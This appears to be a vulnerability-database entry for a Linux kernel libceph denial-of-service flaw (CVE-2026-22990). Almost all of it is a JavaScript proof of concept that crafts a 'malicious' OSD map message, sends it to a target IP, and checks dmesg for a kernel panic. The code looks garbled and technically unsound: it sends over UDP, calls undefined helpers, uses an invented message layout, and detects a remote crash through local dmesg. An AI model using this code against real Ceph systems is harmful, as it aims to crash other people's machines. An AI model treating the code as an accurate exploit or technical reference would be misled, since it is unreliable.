CVE-2026-22990: Linux kernel libceph osdmap_apply_incremental拒绝服务漏洞

// CVE-2026-22990 PoC - Malformed incremental OSD map triggering kernel BUG_ON // This PoC demonstrates the concept of sending a corrupted osdmap epoch // Note: Actual exploitation requires access to Ceph cluster communication // Simulated corrupted incremental OSD map structure function createCorruptedIncrementalOSDMap() { return { epoch: 999999, // Maliciously high epoch number expected_epoch: 1, // Different from expected value osd_features: 0xFF, osd_addr: { primary: "0.0.0.0:6800", cluster_addr: "0.0.0.0:6801" }, crushmap: "CORRUPTED_CRUNSH_DATA" }; } // Send corrupted osdmap to trigger BUG_ON in osdmap_apply_incremental() function triggerVulnerability(targetIP) { const corruptedMap = createCorruptedIncrementalOSDMap(); // Construct malicious Ceph OSDMap message const message = Buffer.alloc(1024); message.writeUInt32LE(0x01, 0); // Message type: CEPH_MSG_OSDMAP message.writeUInt32LE(corruptedMap.epoch, 4); // Corrupted epoch message.writeUInt32LE(corruptedMap.expected_epoch, 8); // Expected epoch // Send to target Ceph client/server sendUDPPacket(targetIP, 6789, message); console.log("[+] Malformed OSD map sent to trigger BUG_ON"); console.log("[*] Expected epoch:", corruptedMap.expected_epoch); console.log("[*] Malicious epoch:", corruptedMap.epoch); } // Monitor for kernel panic indicators function monitorCrash(targetIP) { // Check for kernel oops/panic messages const dmesg = executeCommand("dmesg | tail -50"); if (dmesg.includes("BUG_ON") || dmesg.includes("kernel panic")) { console.log("[!] System crash detected - vulnerability confirmed"); return true; } return false; }